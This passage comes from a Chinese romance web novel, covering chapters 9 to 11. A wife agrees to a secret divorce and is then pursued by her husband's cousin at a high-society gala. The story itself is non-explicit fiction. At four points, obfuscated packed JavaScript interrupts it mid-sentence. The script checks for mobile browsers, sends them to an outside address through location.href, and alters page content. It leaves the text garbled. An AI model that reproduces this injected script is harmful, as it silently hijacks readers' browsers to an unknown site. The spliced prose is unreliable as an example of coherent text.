卒然被点名,尤伽瞠目看向他,显然对此一点印象都没有。
乐绮嘴角弯着,可眼里却透着些寒意,看得尤伽一头雾水。
正发愣,乐绮收回手,转身面向她。
“我今天不回来吃饭,不用做我的。”
“哦……好,我一会儿和他们说一声。”
“走了。”
直到乐绮走出大门,姜春和才戳了戳有些出神的尤伽。
“老板,你和你小叔子说过我呀?”
“……不知道,可能吧。”
姜春和耸耸肩:“他声音真好听,怎么感觉还有点耳熟。”
“你看哪个帅哥都觉得熟悉。”尤伽没把这个插曲放在心上,一拍她的肩,“不去哄于婧啦?”
“哎呀,对!我赶紧走了,一会儿大小姐真把片场炸了。”
吵吵闹闹的声音随着姜春和的离开消散在空中,尤伽看了看手中的文件袋,目光沉了沉,垂下手,往二楼走去。
快走到书房时,正碰上打扫完电梯间走出来的阿姨,尤伽想起什么,叫住她。
“张姨,乐绮房间的空调坏了,你找人修一下吧。”
“好的,太太。”
阿姨毕恭毕敬地颔首,抬起头时,视线越过尤伽肩头,微惊,又赶忙打起招呼。
“褚总,需要准备早餐吗?”
尤伽这才发现褚铎不知何时站在了她身后。
她回过身,笑眼弯弯。
“我正好找你。”
褚铎神色肃冷,双手垂在身侧,目光向下看向尤伽。
她被盯得有些不自在,眉心微蹙。
“怎么了?我脸上有东西吗?”
“没有。”
褚铎移开视线,摆手对阿姨表示不需要,从尤伽身旁走过,打开书房的门。
“进来吧。”
尤伽按下心中古怪,跟着他进去,关上门。
“有什么事吗?”
“离婚协议书我刚刚拿到了,内容已经和你的律师敲定过,你有收到消息吧?”
尤伽把文件递过去,褚铎听到她来意,不易察觉地拧了下眉。
修长手指覆在文件上接过,他打开封口,不轻不重地“嗯”了声。
“沟通过了,没什么问题。”
“那就好,签完这个,下周我们找个时间,去把手续办了?”
褚铎有条不紊地翻开协议书,没有急着回答,过了会儿,才又“嗯”了一声,声音更低了些。
看过内容之后,他拿过一旁的笔,悬停在纸张上方。
“小伽。”
正看着他签字的尤伽忽然被叫了声,扬眉回道:“怎么了?有什么问题吗?”
褚铎又放下笔,笔尖正对着签名处的空白。
“我有一个不情之请。”
“你说。”
“离婚手续我们可以下周去办,但是,”他抬起头,眼中无波无澜,后靠在椅子上,“我想拜托你,能不能将离婚的事情对外保密一段时间。”
尤伽显然没有想到他会提出这种要求。
还没有问为什么,褚铎就主动解释道:
“公司最近不太安宁,有些我爷爷的旧部盯我盯得很紧,如果这个时间让他们知道我离婚了,恐怕会被大做文章。”
尤伽听明白了,也终于知道他最近为何那么忙。
但她一时不知该回什么,脸上毫不掩饰地浮上为难。
“当然,不会白让你帮忙。”褚铎继续道,向她抛出诱饵,“你前段时间让我帮忙了解白慕枝的动向,我派人去谈了谈,她解约之后还没有接触新公司,如果你想,她可以带着团队一起签到你那里。”
尤伽双眼瞪圆,嘴唇张张合合,声音高了几个度。
“白慕枝?!”
白慕枝——那可是白慕枝!
娱乐圈最炙手可热的当红女明星,戏路宽、演技好,粉丝量更是一骑绝尘,自从她和老东家解约之后,业内全在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16316685|183033||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
摩拳擦掌,都想拿下这棵摇钱树。
可有传言说她和前公司的合约纠纷扯皮太久,所以一家公司的橄榄枝都没接,打算带着团队自立门户了。尤伽当然也想掺和,但她是新生公司,连那些老牌经纪公司都吃了闭门羹,她就更不抱希望,只是随口和褚铎提过,问他能不能帮忙打听打听。
没想到,褚铎竟然真的帮她谈下来了。
尤伽的公司虽然发展迅猛,但毕竟刚成立几年,手下艺人只能算得上崭露头角,实在缺一个顶梁柱。
如果真的能签下白慕枝,她至少五年内不用担心公司倒闭了!
她心神荡漾,已然沉浸在喜悦之中。
“小伽?”
褚铎见尤伽的嘴角已经咧到了耳根,出声打断她臆想。
“嗯?哦哦,你说保密是吧?要保密多久?”
“具体不能保证,不过我会尽快解决的,不会让你为难太久。”
“哎,跟我说这些就见外了不是——”尤伽笑得春意盎然,手掌轻轻拂过褚铎肩膀,“夫妻一场,这点忙应该帮。”
褚铎难得笑了笑,不过也就一眨眼的功夫,嘴角弧度很快消失,只余淡淡温色。
“那保密的范围呢?”
尤伽又问。
褚铎重新拿起笔,签下名字,随后才道:“自然是你觉得可信的范围之外。不过我建议……”
他盖上笔盖,放回笔架上,抬眼目光柔和:“最好只有我们两人知道。”
“嗯……我助理已经知道了。文件就是她送来的。”
“你信任她不会乱说就好。”
尤伽点着头,恍然冒出个想法,手指指了指乐绮房间的方向:“那他也……?”
褚铎很快应声:“自然。”
“唔……好。”
“保密期间,可能要麻烦你再在我这里住一段时间。放心,一切都不会变,只要你在这里,就是这个家的女主人。”
“应该的,省得落人口舌嘛。”
尤伽有了白慕枝这个好处,自然是什么都能答应,所以毫不犹豫地接道。
“那下周末的晚宴,你还和我去吗?”褚铎将文件装好递给她,眼中锐气不显,“如果你觉得不方便,不去也可以。”
尤伽想起褚铎和她提过下周末有一个晚宴,邀请方希望他们能夫妻共同出席。但那时他们已经离婚了,再以夫妻身份露面,确实不妥。
“那我……”
“不过之前你说想认识的那位制作人,江锋,他也会去,我本来想趁这次给你介绍的。”
“……那我当然没问题,保密嘛,就是一切照旧,需要我出面的话,我肯定会帮忙的。”
尤伽话头转得极快,江锋是难得一见的大制作人,她一直想和他结下关系,机会难得,确实不应该错过。
该说的都说完,尤伽拿着文件准备离开。出门前,褚铎突然又叫了她一声。
“小伽。”
“嗯?还有事吗?”
尤伽回身看他。
褚铎欲言又止,早晨在书房门口看见她时就想问出口的话,最终还是停在了喉间。
尤伽的视线平直坦荡,照得他愈加神思躁乱。他脊背绷直,片刻,退避地挪开了眼神。
“没什么,就是想说,谢谢你。”
“不用客气。互惠互利嘛,这不就是我们结婚的原因。”
尤伽笑着冲他扬了扬眉,随即走了出去。
9. 冒犯
这天乐绮难得在家,三人久违地一起吃饭。
中途乐绮问:“哥,我妈给了我张邀请函,好像是纪家晚宴,她让我替她去,说你也会去,你知道这事吗?”
褚铎面不改色地夹菜:“嗯,知道。”
“太好了,我最烦这种场合,跟着你就没人烦我了。”
“小姨既然让你去,肯定是希望你能多接触一些人脉,小绮,你迟早要习惯。”
乐绮不置可否,转而弯起眼睛看向尤伽:“嫂子呢,也会去吗?”
“小伽也去,你和我们一起。”
尤伽的回答未出口便被褚铎抢了先,她耸耸肩,算是回应。
乐绮笑意更深了些,眼中情绪浓重起来。
“哥,那你借我身衣服吧,我没带合适的衣服。”
褚铎明显皱了眉。
“我找人给你做几身。”
“太麻烦了,我最近没有时间量体,而且做了也是浪费,平时又不穿。反正我们身材差不多,哥,你就借我一套呗。”
“为什么会浪费,你真的不打算跟我去公司吗?”
“不打算。”
褚铎被他堵得没了话。
“二楼衣帽间里都是没穿过的,你去挑一套吧。”
“谢谢哥。”
话落,三人继续沉默。
褚铎是个极其讲究修养礼节的人,他吃饭时很少主动说话,尤伽已经习惯了。
但就在她吃得差不多的时候,意外听到褚铎挑起了话头。
“小绮,你房间的空调修好了吗?”
他说得漫不经心,夹带着惯有的傲慢与轻视,夹菜动作未停,没有看向乐绮。
乐绮有些讶异:“你怎么知道?”
“上次听到你嫂子帮你找人修。”
“啊……原来是嫂子帮的忙,谢谢,当天就修好了。”
“那就好。你嫂子忙,以后这种事,直接找他们就可以。”
乐绮半晌没说话,最后,冷嗤一声。
“知道了,哥。”
尤伽凝眸,放下筷子,借口离开。
-
下午,尤伽去公司开会,回家后刚洗过澡,就听到有人敲门。她以为是褚铎,裹着浴巾就去开门。
却在看到门外的人时一愣。
乐绮靠在门框上,视线扫到尤伽搭在锁骨上的湿发,水珠顺着皎白肌肤滚入浴巾内。
他很快收回,望向尤伽微怔的眼睛。
“不然我一会儿再来?”
尤伽倒也没觉得太尴尬,只是有些惊讶,自从褚铎上次强调过之后,乐绮就没有再来过三楼了。
她将黏在身前的头发捋到身后,露出流畅的肩颈。
“有什么事吗?”
“想让你帮我选下晚宴的衣服。”乐绮的眼睛一眨不眨,目光落在尤伽鼻尖,“我哥不在,我对西装实在没什么眼光。”
尤伽想拒绝,话还没说出口,乐绮像是看出她心思,语速更快地补充:“拜托了,晚宴之前我只有今天有空,要是选不好衣服,我妈连唯一一张卡都会给我停掉的。”
他言辞恳切,眼神迫切,尤伽也不好再说推拒的话。
于是她往后退了退,半合上门。
“你先去衣帽间等我,我吹好头发就来。”
回到浴室,尤伽拿着吹风机边理边吹。最后依旧只吹干大半就停了,她头发多又密,吹头发实在费时费力,每次都吹到一半就没了耐心。
换好宽松的半袖,尤伽下楼去找乐绮。
二楼的一整个衣帽间都是褚铎的,大半都是西服和衬衫。尤伽进去时,乐绮正坐在沙发上玩手机。
看到她,随手将手机扔在一边。
“你来了。”
“有喜欢的颜色吗?”
尤伽没有废话,直接走到衣柜前看了起来。
“没有,什么都行。”
“那就常规的黑白灰吧。”
尤伽挑了一套样式简单的黑色外套和白色衬衫递给乐绮,又到一旁的柜子里挑选领带。
“你先去试试大小,出来搭领带。”
她趴在玻璃柜上认真看着,没有注意身后的声响,打开柜门拿出一个后起身,才发现乐绮已经站在旁边脱掉了上衣。
他微弓着背,薄肌绷出明显沟壑,线条优美而流畅,比褚铎看起来更健硕,皮肤也更白皙,像美术室的石膏雕塑一样标致。
衣帽间的灯光是最接近自然日光的中性白光,附着在他身上,如一件上好的瓷器,明亮而清透。
尤伽:“……”
正在穿衬衫的乐绮眨巴眨巴眼睛。
“里面还有一个房间,我让你到里面换,不然你是想连裤子也在我面前脱吗?”
因为眼型的原因,乐绮的眼睛总是带着笑似的,此刻停下动作来看着尤伽,乌黑瞳仁里盛满了无辜,有难得的孩子气。
他“哦”了一声,抱着衣服往里走。
尤伽摇摇头,又俯身拿出几条领带放在一边。回到挂着衬衫的衣柜前,她取下两件不同的款式,准备等他出来让他一起拿进去试。
最里面有一件灰色衬衫,尤伽晃过一眼,福至心灵,觉得很适合乐绮,遂将手里的都放下,踮脚去够。
但因为放得太过靠里,无论怎么努力都差了一点。
她整个上半身都快藏进了衣服中,正在做最后的尝试,忽然一阵熟悉的清冽气息从头顶传来,她还未及反应,后背已经贴上一个宽阔而紧实的胸膛。
她站在L型衣柜的角落,半湿发丝堆叠在颈间。乐绮的身体挡住她去路,将她圈在怀中,优越的手臂越过她,从衣架上轻而易举拿下那件衬衫。
薄荷凉意掩盖着在其之下的雪松木香,糅杂进尤伽发间的潮湿玫瑰味。
他包裹着她的身体,掠夺着她的呼吸,空调冷风都无法穿透这片隐秘的区域,尤伽的耳尖有些燥热起来。
两人像是同时扯断了发条,保持这个姿势静止了几瞬。尤伽鼻腔中的香气越发浓郁,甚至不受控地四处流窜撞壁,搅得她头晕目眩,又难抑沉溺之感。
她扯着理智回笼,终于忍不住低头屏息,转过身,推了推乐绮。
本以为乐绮会顺势离开,谁知他缓缓弯下腰,与尤伽面对面凑得更近,鼻尖几乎要撞到一起,而且还有越发靠近的趋势。
他只穿了衬衫,最上方有两颗扣子没有系,从尤伽的角度看去,正好能看到两块欲拒还迎的胸肌。
尤伽蹙眉,身子微微后仰进衣柜的空间,下意识别过脸,本能地抬起胳膊,一个肘击撞上乐绮小腹。
“嘶……”乐绮吃痛,拧起眉毛,眼里却还是一贯的玩世不恭,“我拿下腰带而已,你以为我要做什么?”
尤伽一愣,这才发现乐绮的手从自己身侧穿过,正拿着柜子里的腰带。
她不免觉得更加闷热,耳尖的燥意漫到了脸上,别过眼睛,使劲推了乐绮一把。
“拿好了就滚。”
这是尤伽第一次对乐绮爆粗口。
乐绮饶有趣味,被推得趔趄也不在乎,嘴角扬得更高。
“好凶。”
“让你试衣服,你连扣子都不系好?到底要不要我帮你挑?”
“衬衫有点小,我就是出来给你看的。”乐绮撇了撇嘴,看起来有些委屈,“怎么不分青红皂白就说我。”
尤伽终于注意到他身上的衬衫不太合适,肩线紧绷着,扣子全系的话恐怕会憋闷得够呛。
乐绮和褚铎虽然身高差不多,但乐绮更壮一些,肩膀也更宽,身上这件是褚铎的定制款,自然与他的身材严丝合缝,对乐绮来说难免有些小。
“脱了,试这几个。”
尤伽耐心殆尽,把几件衣服统统塞到乐绮怀里,指挥着他一趟又一趟进屋去试。
最后换上那件灰色衬衫后,她的表情才和缓了些。
“果然还是这件好一些。领带,试一下。”
尤伽递过去一条酒红色领带,后退到一边的柜子上,站远了看
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16316686|183033||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他。
乐绮站在镜子前,打领带的姿势意外很熟练。他不疾不徐地调整,将领带服帖摆正,又顺势理了理外套下摆,最后低下头,规矩地系好袖扣。
尤伽以为对乐绮的这张脸已经看习惯了,但换了风格之后,还是忍不住被引去片刻目光。
她几乎没有见过这么完美的脸型,侧脸深刻而锋利,与褚铎相似又不似,但更胜他一筹。
此前乐绮的穿衣风格大都张扬随性,加之他顽劣的性格,过度锋芒掩去尤伽对他美貌的注意力,现在换上正装,贵气乍现,尤伽总觉心口一紧。
“盯太紧了吧,嫂子。”
乐绮还在整理衬衫,没有抬眼,语气调笑十足,故意将“嫂子”两个字念得长而重。
尤伽方才对他覆上的那层滤镜瞬间破碎。
果然还是个小屁孩,没礼貌的小屁孩,穿什么都没用。
“不是你要我帮你看吗?合适的话就这身吧,我走了。”
“我和我哥像吗?”
尤伽刚要抬步,乐绮忽然出声说了句没有承上启下的话。
突兀的问题,忽然冷下的声调,勒住了尤伽的脚踝。
“眼睛像。”
她含糊答着。
“都这么说。”乐绮慢声慢调,抬起头,从镜中看向身后的尤伽,“穿了我哥的衣服,是不是更像了?”
尤伽撇过眼,低低应了声。
“嗯,挺像的。”
“既然这样,如果你先遇到我的话……应该也会喜欢我吧?”
尤伽的眼神瞬间暗了下去,再一次感受到被越界冒犯的不适感。
她抛开最后一丝耐心,回视镜中的乐绮,冷光折射进他视线。
“你不是你哥。”
扔下这句,她快步转身离开,胸腔随着紧密的步子越发憋闷。
打开门,尤伽低着头没有看路,还未走出两步就撞进一人怀里。
她被惯性带着后倾,下一秒,眼前人眼疾手快拦腰扶住她。
“小伽?你怎么在这里。”
褚铎扶正了尤伽,手没有立刻放下,视线从她略带粉晕的脖颈,滑向她身后紧随而出的乐绮。
手上力道陡然加重。
“小绮让我帮他选衣服。”尤伽快速恢复了神色,扬唇浅笑,顺势挽住褚铎的胳膊,“你看看,我眼光好吧?”
褚铎定睛看了乐绮一会儿。
他眉眼飞扬,好不欣喜,却像有密密麻麻的细针扎在褚铎身上。
“你眼光一向好。”
褚铎刮了刮尤伽的鼻尖,引她向前走,未与乐绮打招呼,直接进了书房。
“小伽,我有事同你商量。”
合上书房的门,褚铎站在尤伽对面,声线缓和了些。
“什么?”
“我明天空出半天时间,如果你想去办手续的话……”
“好,那明天去吧。”
她的反应在褚铎意料之内,他缓缓点了下头。
门外乐绮路过,匀而不急的脚步声由远及近,由近及远。
褚铎凝视着尤伽坦然的神色,唇腔忽然干渴,似沾了苦杏仁的涩感。
“小伽。”
“嗯?”
“今天晚上一起睡吧。”
尤伽一时没有反应过来,话在脑子里过了一圈后,意外地挑挑眉。
这还是结婚两年,褚铎第一次主动邀请她。
“最后一次,舍不得呀?”
尤伽两臂攀上褚铎的肩膀,在他颈后勾在一起。因为身高的差距,她不得不与他靠得更近,扑面而来的淡淡焚香萦绕在她五官之上。
他的香水总是和他的人一样禁欲,尤伽每次撕扯他的衣服,都有一种犯罪的快感。
“嗯,舍不得。”
褚铎抬手收紧她的腰,他眼里的尤伽总是软绵绵的,四肢软、身子也软,最适合被他捧着。
尤伽踮起脚,趴在他耳边,吹着热气。
“那你……求我?”
10. 顶撞
那天晚上,尤伽当真变着花样让褚铎求她。
不过后来,褚铎也变着花样向她讨了回来。
翻云覆雨,潮涨潮落,不知天地为何物,生生缠绵到后半夜。
尤伽只当是最后一次尽兴,隐约间褚铎好像在她耳边说了些什么,她没有在意,沉沉睡了个好觉。
一早,两人避开乐绮,到民政局办了离婚。
走出民政局的大门,尤伽捏着离婚证,脚步轻盈几分,往停车场走时嗅到了恬淡的木槿花香,来时她倒没有注意。
转天,便是纪氏主办的晚宴。
这个圈子,风云诡谲,一切瞬息万变,要在这样的浮沉中稳步行进,天时地利人和,缺一不可。
褚尤两家联姻后,褚氏在首城的地位更上一层楼。褚铎作为褚氏实际掌权人,再加之一半乐家血脉,在圈子里已然是新一代佼佼者的存在。
晚宴定在七点开始,他们是最后一个到的。
黑色加长版布加迪缓缓停在门口,前后空旷,几位身着制服的男人旋即上前打开车门。
褚铎迈下车子,回身向尤伽伸出手,微微弓腰。
尤伽稍提起裙,手掌落于褚铎掌心,脚下踩实后,改换成挽臂的姿势。
海蓝色缎面礼服在门前吊灯下流动着粼粼水波,低腰线的设计不算多见,但尤伽双腿细长,加之银灰色露跟高跟鞋加持,更显高挑大气。
无论是穿着还是姿态,她总能在这种场合张弛有度,既显明艳动人,又不会喧宾夺主。
这套高奢品牌的最新春夏系列高定礼服和限量款高跟鞋是褚铎前两天送给尤伽的,她原本已经准备好了衣服,但褚铎似乎没有参考她选择的意思,直接托人送到了家里。
尤伽没有多言,结婚这两年两人共同出席的宴会,褚铎几乎都会帮她准备好合适的穿着,她已经习惯了,况且他的眼光确实很好,衣服总能选得很适合她。
在这段婚姻里,她总是懒得与他争这些细枝末节的事情。
乐绮在两人后面下车。
周遭全是庄重的装饰和奢华的男女,只有他手斜插兜,走姿随意,即使身着板直的西装,也压不住乖戾底色,在这样的环境中实属突兀,数道目光隐隐投来。
他与前面的夫妻保持着不远不近的距离,目光锁在尤伽频频展笑的侧颜,嘴角勾着似有若无的弧度。
三人入场,晚宴氛围无疑到达了最高潮。
不少富家子弟前来与褚铎打招呼,甚至有些还没退休的长辈,对着褚铎也是敬意三分。只不过今天大家在常规的客套后,都会不约而同看向跟在后面的乐绮,状似惊讶地问上一句:
“这位就是乐家小少爷吧?”
乐绮要来的消息一早就放出来了,这是他第一次在圈子里公开露面,惦记着跟乐家搭上线的,没有不知道的。这样一句,不过是给褚铎一个介绍的理由,褚铎也很念与乐明笙的感情,不厌其烦地向乐绮引荐来人。
这还是尤伽第一次见褚铎在宴会上说这么多话,她甚至有些混乱,仿佛两人当真兄友弟恭,完全没有家中不熟的样子。
“小伽,这位就是我之前跟你提过的,江锋,江总。”
褚铎将尤伽带到江锋面前。
尤伽眼眉挑起,眸光闪动,很惊喜的表情,主动伸出手去:“江总,久仰大名。”
江锋自然知道尤伽。她身上有尤家独女和褚氏夫人的多重身份加持,江锋在她面前,其实要更恭敬一些。
于是他微微折腰,忙不迭地双手握上去。
“尤总太客气了,是我早该拜访您才是。早听说您秀外慧中,今日一见,果然比传闻更甚,我看,您比您那些艺人还要更胜一筹。”
“哪里,我今天是为了见您特意打扮了一番,您过誉了。”
“尤总谦虚。不知道有没有人说过……”江锋打眼扫量了个来回,笑容实了些,“白慕枝和您有些像。”
尤伽确实听到过不少人这样说。她自己看来,白慕枝和她五官其实不完全相似,身高体型上像得更多,白慕枝是娱乐圈出了名的长相大气型女星代表,穿衣风格与尤伽类似,可能因此才给人相像的错觉。
她问过说这话的人到底哪里像,那人支支吾吾半天,只道,细看确实不太像,可就是乍看让人恍然有像的感觉,最后也只能归咎在气质上。
“哎呦,那不是我碰瓷了嘛?白慕枝那样的大美女,能有几分像人家,是我的幸运啦。”
既然提到了白慕枝,尤伽自然就要把话题引过去:“可能就是因为总有人说我们像,我和她也是一见投缘,相见恨晚。”
江锋扬着嗓音“哦”了一声:“我听说了,白慕枝签到尤总公司了?”
“还是您消息灵通,还没官宣呢,不过也快了。”
“恭喜恭喜,尤总果然厉害,当初听说您从家里脱离出来自己开了娱乐公司,还以为您就是玩玩,现在看来是我目光短浅了,尤总的公司势头相当猛劲啊,用不了两年,恐怕这圈里就要换牌了。”
“您太过奖了……”
尤伽端了杯酒,向前迈了两小步,胳膊压在一旁的桌台上,稍稍倾身,柔媚顿生,将酒杯递到江锋眼下,声音低而温热。
“还是得仰仗您。听说您最近又要有几个大项目,要是有机会,我也想跟您学习学习。”
“哎,互相学习,互相学习,放心吧尤总,我一定想着您。”
江锋慌了一瞬,下意识抬眼扫向一边的褚铎,对上他喜怒难辨的目光后,迟疑地转回视线,矮下杯子,与尤伽碰出不算清脆的一声。
尤伽在前面聊得火热,丝毫没有注意到,站在她身后侧的乐绮从头到尾都在盯着她,手中转着半杯香槟,时快时慢,笑容愈发冷寂,甚至最后,无声地嗤笑了一瞬。
他将香槟仰头而尽,随手放在路过服务生的托盘上,带着点莫名的不爽果决转身离开。
尤伽和江锋半客套半试探地聊了许久,最后在褚铎的委婉提醒下暂别。两人转过身时才发现,乐绮不知何时不见了。
“你弟呢?”
“不知道。”
褚铎一点没有要去找他的意思,倒是尤伽先松开他手,抬步往前走去,边走边看四周。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16316687|183033||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“别又去哪闯祸了。”
褚铎的动作顿住,看着空空荡荡的手心,目光暗沉。
片刻后,才跟上她。
“他不是小孩了,不必这么担心。”
“也就是长了个大个儿,心智成没成年都难说。”
尤伽透过人群眺望,看到了不远处站在角落里的人。她“哎”了一声,指给褚铎看:“在那。”
两人往乐绮的方向去,尤伽穿着高跟鞋也不减步速,很快就站到乐绮身边。
“怎么在这?”
尤伽还没开口,褚铎先问出了声,周身气压很低。
尤伽的话堵在了嗓子里,微张的嘴半天又合上。她看了看褚铎,奇怪这人刚才还说不用担心,这会儿怎么又一副埋怨的态度。
“人多,烦。”
“小姨让你来就是为了让你锻炼……”
“我知道了,能不能别唠叨了?”
乐绮有些粗鲁地打断褚铎的话。
尤伽和褚铎都是一愣。
乐绮和他们住在一起后,虽然行事乖张,但还念及褚铎长兄身份,没有明里反驳顶撞过他,这还是头一回听这少爷这么明显地和褚铎甩脾气。
虽是人员稀少的暗处,但毕竟是公共场合,被乐绮这样蛮横对待,褚铎瞬间阴沉了神色。
他目光森冷,双唇紧抿,直直盯视乐绮。
尤伽心里直呼救命,生怕这兄弟俩在大庭广众之下吵起来。
正想着怎么能缓和一下莫名其妙降到冰点的气氛,她视线偏斜,正好看到离他们非常近的前方,一个服务生推着的推车突然掉了一个轮子,盛满酒水的车子就这样不受控地朝他们直冲而来。
服务生惊呼出声,事出突然,他一时来不及把住沉重的车子,只能眼睁睁看着它歪歪斜斜就要撞上人。
三人站得很近,但乐绮和褚铎背对着车来的方向,所以没有来得及反应。尤伽在发现的一瞬间,下意识扯住褚铎的胳膊,将他往后一拽,自己则脚下不稳,栽到了他身前,意外与他换了位置。
她瞪大眼睛,后知后觉听到自己尖锐的声音响起:“褚铎,小心!”
……可现在更应该小心的是她。
这下好了,车子要撞也是撞她。
千钧一发之际,尤伽做好了被泼一身酒的准备,甚至闭上了眼,但好半天之后,也没有听到稀里哗啦的声音。
她错愕回头,发现原本就站在最前面的乐绮,单手扶住了欲倾的酒水车,灾难没有发生,她也没有被迫沐个红酒浴。
礼裙下摆慢慢有些湿湿黏黏的感觉,尤伽低头一看,果然还是洒了些出来。
乐绮身高腿长,躲得又快,只是袖口沾了一些,她就比较倒霉了,裙摆染了一大片红。
褚铎立刻扶她起身,冷冽目光几乎要洞穿她:“小伽,有没有伤到?”
尤伽有些惊魂未定,看着裙子捋了捋胸脯,喘气道:“没事。”
乐绮的声音传来,低沉嗓音中夹杂着更加明显的不悦:“我说,你俩一会儿再温情行不行?有没有人来帮我扶一下?”
11. 姐姐
他们这处的异动很快引来周围人注意,诸多服务生手忙脚乱收拾残局的同时,宴会的主办纪明西也急忙赶来赔罪。
“实在抱歉实在抱歉,褚总,褚太太,是我照顾不周,竟然发生这种意外……”
褚铎紧紧握着尤伽的手,将她挡在身后,一言不发。
周遭空气瞬间冻成僵而不化的冰窟。
一时间,谁都不敢再多说什么,只能尬在原地。
还是纪明西的夫人卫音出来解了围:“尤总,您要是不嫌弃的话,可以先换一件我的衣服,我们身材差不多,应该能让您将就一下的。”
卫音温婉从容,即使面对褚铎随时能剜人心骨的目光也依旧不卑不亢,言语得体。
尤伽巴不得离开这个是非之地,所以抽出自己的手,很快往前迈了一步。
“那就麻烦您了。”
尤伽没有回头看褚铎和乐绮,直接跟着卫音往更衣室去。
穿过长长的走廊,在隐蔽的里侧,卫音推开一扇门,引尤伽入内。
“您是想要方便一些的衣服,还是再给您找一件礼服?这里都是新的衣服,没有穿过,您放心。”
尤伽拿捏不准褚铎的态度,不知道他是要继续参加宴会还是就此打道回府,所以决定不好换什么。
思酌半晌,试探问了句:“有没有……方便的礼服?”
卫音抿唇一笑,回身从衣柜中找出一件常规款式的轻便礼裙,没有繁重的设计和点缀,就是简简单单的素色吊带长裙。
“您看这件可以吗?”
“很合适,太麻烦您了。”
“尤总客气。”卫音将衣服挂在移动衣架上,礼貌后退几步,“那我就先出去了,您换下来的衣服交给我处理就好,实在不好意思,给您造成困扰了。”
说完,她便离开了房间,顺手关上门。
尤伽轻呼一口气。
她松懈了肩膀,略显疲乏地坐在沙发上,没有急着动作。
一晚上不停歇地社交,即使是尤伽也难免心生厌烦,又因为喝了不少酒,脑子一片昏沉。
前厅喧闹离她很远,模模糊糊穿不进这个空间,她思绪放空,合上眼睛喘息片刻。
缓过些心神,尤伽起身开始换衣服。卫音确实跟她身形差不多,衣服虽不能说严丝合缝,但还算合身。
正将自己的衣服提起往门口走时,房间里的灯骤然熄灭。
尤伽僵在原地。
这是一间密闭的更衣室,没有任何窗户,灯光一灭,无边无际的黑暗瞬间涌入房间,如没顶的浪潮,一边要将四周墙壁冲破,一边挤压着站在中央的尤伽。
尤伽有些怕黑。
也许是经常做噩梦的原因,她对黑暗的感知异常敏锐,所以很难在完全漆黑的环境中独处,此刻突然坠入暗夜,她几乎连挪动小腿都不能。
尝试着深呼吸了几次,尤伽屏息凝神,攥紧手指,强迫自己迈出第一步。
好在房间不大,她很快就挪到了房门口,也在逐渐平稳心率后听到外面细碎而嘈杂的争论声、呼喊声。
看来是整栋别墅都停电了。
接二连三出现意外,纪明西这场宴会算是彻底办砸了。
顾不得担心别人,尤伽摸上光滑的门把手,快速按下之后,房间终于撕开一条透气的缝隙。
刚往外迈了一步,不曾想下一秒,她迎面撞上一个沾着酒气的宽厚胸膛——
尤伽惊得心悸,手中提袋掉在地上,身体下意识往后倒,被那人一把护住,没有撞在墙上,而是撞在那人的手掌中。
冰凉,干燥,微微粗糙。
长廊上错落的窗户折进浮动月光,朦胧暗昧,尤伽慌乱中抬眸,只看清一双熟悉的桃花眼,第一反应是褚铎。
她神态瞬间嗔怪起来,心中既怪罪他吓到了自己,又难抑安心。
“你……”
只发了一个气音,尤伽骤然收声。
定睛细看后她才发现,不是褚铎。
是乐绮。
他的神色在她的声音中变得晦暗不明。
收紧扶在她肩胛骨的力,乐绮另一只手撑在墙上,将尤伽圈在自己的领地中。
他嘴角噙着笑,眼中却是一抹戏谑冷光,声线压低,嘶哑而劣性十足:“你在看谁?”
尤伽往后躲着,目光瞬间变得警惕疏离:“怎么是你?”
“怎么不能是我?”乐绮弯了腰,头侧偏过去,与她凑得更近,几乎要贴上她耳尖,“不是我哥,你很失望吗
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16316688|183033||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?”
尤伽酒意上头,思绪杂乱,实在懒得理他,于是抬手推了推,没有回答他的问题。
可乐绮纹丝不动。
尤伽嗔怒,瞪向乐绮,正要骂他,却在瞥见他眼中情绪后愕然一瞬。
昏暗光线下,那双瞳仁深黑而不见底。
浓得化不开的郁色,雾蒙蒙一团,说不清,道不明。
